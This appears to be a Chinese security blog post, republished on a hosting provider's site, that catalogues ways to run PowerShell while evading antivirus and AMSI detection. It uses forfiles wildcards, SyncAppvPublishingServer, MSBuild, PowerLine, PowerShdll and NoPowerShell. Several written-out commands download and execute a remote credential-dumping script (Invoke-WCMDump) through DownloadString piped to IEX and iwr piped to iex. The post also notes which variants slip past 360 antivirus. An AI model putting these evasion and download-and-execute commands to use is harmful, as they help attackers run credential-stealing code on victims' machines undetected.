安全播报

防御吧作为15年知名老牌域名服务商,CNNIC和CANN双认证域名注册商,已经
持续为500多万个域名提供服务,包括智能DNS/自由转移/隐私保护等服务!
多姿势绕过 Powershell 调用保护
2022-10-16 20:02:23 【

简介

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能。由于 powershell 的特性,使得它很受渗透测试爱好者的喜爱,当然也催生了像 ASMI 之类的防御手段,当然各类杀软也是把它纳入了查杀行列中,只要你调用 PS 就会查杀,今天列举一些可以绕过其检测规则的一些姿势,主要可以粗略分为两大类,首先是绕过AV的检测规则,其次是换一个方式执行类似 PowerShell 的操作

   

绕过本地调用

2.1 模糊搜索调用

forfiles 是一款 windows 平台的软件工具,其中选择文件并运行一个命令来操作文件。命令说明符支持一些特殊的语法选项。它可以直接在命令行中使用,也可以在批处理文件或其他脚本中使用。

在 cmd 终端中,借用 forfiles 调用 powershell :

     
forfiles /p %COMSPEC:~0,19% /s /c "@file" /m po*l.*e


有需求的话,也可以同时添加 powershell 的指令参数,以实现不同的参数功能,这里以-c参数举例:

   

forfiles /p %COMSPEC:~0,19% /s /c "cmd /c @file -c get-host" /m po*l.*e 

2.2 编译命令程序

用c++的system函数库去调用(待完善):

 
#include<stdio.h>#include<stdlib.h>intmain(){system("powershell");return0;}

2.3 SyncAppvPublishingServer

SyncAppvPublishingServer是win10自带的服务,有vbs和exe两个版本,我们可以使用他们来做一些类似PS的操作

默认存放在C:\Windows\System32下面:

 

#弹计算器C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”#访问端口C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443"#远程下载并执行powershellC:\Windows\System32\SyncAppvPublishingServer.exe \"Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process'$env:USERPROFILE/1.ps1'-WindowStyle Minimized;"SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX"

2.4 调用MSBuild

MSBuild是.Net框架中包含的工具,用于自动化创建软件产品的过程,包括编译源代码,打包,测试,部署和创建文档。Msbuild依赖于.csproj文件,该文件具有XML语法,包含了.NET构建过程中的结果

github上有此类项目:https://github.com/Cn33liz/MSBuildShell.git

执行完之后会获得一个交互式的PS:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csprojC:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj

2.5 调用cscript

非Powershell执行

3.1 PowerLine

PowerLine是一款由c#编写的工具,支持本地命令行调用和远程调用,可以在不直接调用PowerShell的情况下调用PowerShell脚本

下载地址:https://github.com/fullmetalcache/PowerLine

首先拉取项目到本地,然后运行build.bat文件:

 
./build.bat

然后在 UserConf.xml 文件中填写你所需要调用的 powershell 脚本的地址,默认自带 powerup、powerview、Mimikatz 等,只要按照他给定的格式加入你的 ps 脚本地址即可:
   

加入完成以后,运行 PLBuilder.exe 进行构建,构建过程中,360 无提示。查看内置的脚本 PowerLine.exe -ShowScripts:

3.2 PowerShdll

这个工具主要使用 dll 去运行 powershell 而不需要去连接 powershell.exe ,所以具有一定的 bypassAV 能力,当然它也可以在这几个程序下运行 rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe 或者使用作者给出的单独的 exe 进行执行

 

#exe版PowerShdll -i#进入到交互模式#dll版  360可以查杀到rundll32 PowerShdll.dll,main . { iwr-useb https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1 } ^| iex;

3.3 Nopowershell

NoPowerShell 是用C#实现的工具,它支持执行类似PowerShell的命令,同时对任何PowerShell日志记录机制都不可见。同时也提供了CS下的cna脚本。

 

./NoPowerShell.exe(过360)rundll32 NoPowerShell64.dll(被查杀)

这里要注意一点的是,cs的cna脚本默认调用 scripts 下的文件,国内的cs大多为 script 目录,自行修改文件内的目录即可。

   

】【打印关闭】 【返回顶部
分享到QQ空间
分享到: 
上一篇2023年全球安全与风险管理支出将.. 下一篇让安全专家也头疼的七种物联网设备

立足首都,辐射全球,防御吧专注云防御及云计算服务15年!

联系我们

服务热线:010-56157787 ,010-56159998
企业QQ:4000043998
技术支持:010-56159998
E-Mail:800@fangyuba.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解决防御与加速) 版权所有 增值许可:京B2-20140042号
售前咨询
公司总机:4000043998 01056155355
24小时电话:010-56159998
投诉电话:18910191973
值班售后/技术支持
售后服务/财务
备案专员
紧急电话:18610088800